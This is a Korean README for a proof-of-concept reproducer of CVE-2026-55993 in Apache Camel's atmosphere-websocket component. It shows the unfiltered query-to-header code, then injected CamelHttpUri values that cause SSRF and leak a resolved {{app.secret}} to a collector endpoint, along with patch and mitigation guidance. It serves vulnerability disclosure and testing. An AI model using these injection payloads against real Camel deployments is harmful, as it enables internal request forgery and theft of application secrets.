
CVE-2026-55993(Apache Camel camel-atmosphere-websocket)용 PoC 재현기: WebSocket 소비자가 연결 쿼리 매개변수를 필터링 없이 Exchange에 복사하므로, 주입된 CamelHttpUri가 서버 측 요청(SSRF)을 유발하고 해석된 속성 자리 표시자(property placeholder)를 유출합니다. 4.14.8/4.18.3/4.21.0에서 수정되었습니다.
이 프로젝트는 Apache Camel의 camel-atmosphere-websocket 구성 요소에서 메시지 헤더 주입 취약점(CVE-2026-55993로 추적됨)을 시연합니다. WebSocket 소비자는 HeaderFilterStrategy 없이 연결의 쿼리 매개변수를 Camel Exchange에 복사하므로, 클라이언트는 WebSocket URL의 쿼리 문자열에 추가하기만 해도 Camel 제어 헤더(특히 CamelHttpUri)를 주입할 수 있습니다:
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
라우트가 이 소비자를 HTTP 프로듀서에 연결하면, 주입된 CamelHttpUri가 프로듀서의 대상 URI를 덮어씁니다 — 서버 측 요청 위조(SSRF)입니다. camel-http 프로듀서는 또한 공격자가 제어하는 해당 URI에 대해 resolvePropertyPlaceholders()를 호출하므로, 주입된 {{...}} 참조가 실제 값으로 확장되어 외부로 전송됩니다 — 환경 변수, 애플리케이션 속성 또는 볼트(vault) 시크릿이 노출됩니다.
이 PoC는 **SSRF 및 시크릿 노출(CWE-20 → CWE-918 + CWE-200)**의 영향을 시연합니다. 이는 CAMEL-23532에서 함께 수정된 세 개의 자매 구성 요소 중 하나입니다(camel-vertx-websocket, CVE-2026-46726 및 camel-iggy, CVE-2026-55994와 함께).
보안 권고: https://camel.apache.org/security/CVE-2026-55993.html
이 수정은 상속된
HttpHeaderFilterStrategy를 인바운드 매핑에 적용하여Camel*/camel*헤더를 대소문자 구분 없이 필터링하므로, 더 이상 WebSocket 쿼리 문자열을 통해 주입할 수 없습니다.
WebsocketConsumer의 두 취약한 멤버는 변경 없이, 공격자가 제어하는 쿼리 문자열로 실행됩니다:
WebsocketConsumer.getQueryMap(String) — WebSocket 연결의 쿼리 문자열을 맵으로 변환하는 단순하고 필터링이 없는 파서;WebsocketConsumer.sendEventNotification(...) — HeaderFilterStrategy 없이 해당 맵의 모든 항목을 Exchange에 헤더로 복사합니다.결과 Exchange는 실제 라우트를 통해 실제 camel-http 프로듀서로 흐르므로, SSRF와 {{...}} property-placeholder 노출은 실제로 발생합니다.
WebSocket 전송을 직접 사용하지 않는 이유. 이 구성 요소 버전(Camel 4.18.2 → Atmosphere 3.1.0)에서는 WebSocket이 JSR-356 위에서 제공되며, 업그레이드는 서블릿 컨테이너가 처리하고
CamelWebSocketServlet.service()를 우회합니다 — 이 메서드는 연결의 쿼리 문자열을 소비자의queryMap에 복사하는 유일한 위치입니다.sendEventNotification은 WebSocket 세션의 쿼리가 아니라 그 (빈) 맵을 읽으므로, 이 Atmosphere 버전에서는 라이브 JSR-356 WebSocket을 통해 주입을 전달할 수 없습니다. (Atmosphere 3.1.0은 JSR-356 / Servlet30 / BlockingIO / Netty 지원만 제공합니다 —queryMap을 채울 서블릿 기반 WebSocket 전송이 없습니다.) 따라서 이 재현 도구는 공격자의 쿼리 문자열로 두 실제 취약 메서드를 직접 호출합니다. 자매 구성 요소인camel-vertx-websocketPoC(CVE-2026-46726)는 해당 구성 요소가 모든 메시지에서 쿼리를 매핑하므로 라이브 WebSocket을 통해 동일한 결함을 구동합니다.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
라우트 작성자가 의도한 유일한 대상은 /legit-backend이며, 주입된 CamelHttpUri가 이를 덮어씁니다.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
4.14.8 / 4.18.3 / 4.21.0(CAMEL-23532)로 업그레이드하십시오. 업그레이드 후 소비자는 WebSocket 쿼리 문자열에서 Camel* 헤더를 필터링하므로 CamelHttpUri 및 기타 제어 헤더를 더 이상 주입할 수 없습니다.
업그레이드할 때까지 Camel 제어 헤더를 먼저 제거하지 않고(예: removeHeaders("CamelHttp*")) atmosphere-websocket 소비자를 HTTP 프로듀서에 직접 연결하지 말고, 프로듀서 대상을 신뢰할 수 있는 소스에서 설정하십시오(또는 bridgeEndpoint=true 사용).
이 재현 도구는 공개적으로 공개되었고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템을 대상으로 사용하지 마십시오.
| 속성 | 값 |
|---|
| 구성 요소 | camel-atmosphere-websocket |
| 영향을 받는 클래스 | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification(): 쿼리 매개변수를 필터 없이 헤더로 매핑) |
| CWE | CWE-20 (부적절한 입력 검증) → CWE-918 (SSRF) + CWE-200 (정보 노출) |
| 영향 | 주입된 URI에 대한 property-placeholder 해석을 통한 인증되지 않은 SSRF 및 시크릿 노출 |
| 전제 조건 | 라우트가 atmosphere-websocket 소비자를 HTTP 프로듀서에 연결함; 서블릿이 events=true로 실행됨 |
| 영향을 받는 버전 | 4.0.0 이상 4.14.8 미만, 4.15.0 이상 4.18.3 미만, 4.19.0 이상 4.21.0 미만 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| 공로자 | Kamalpreet Singh |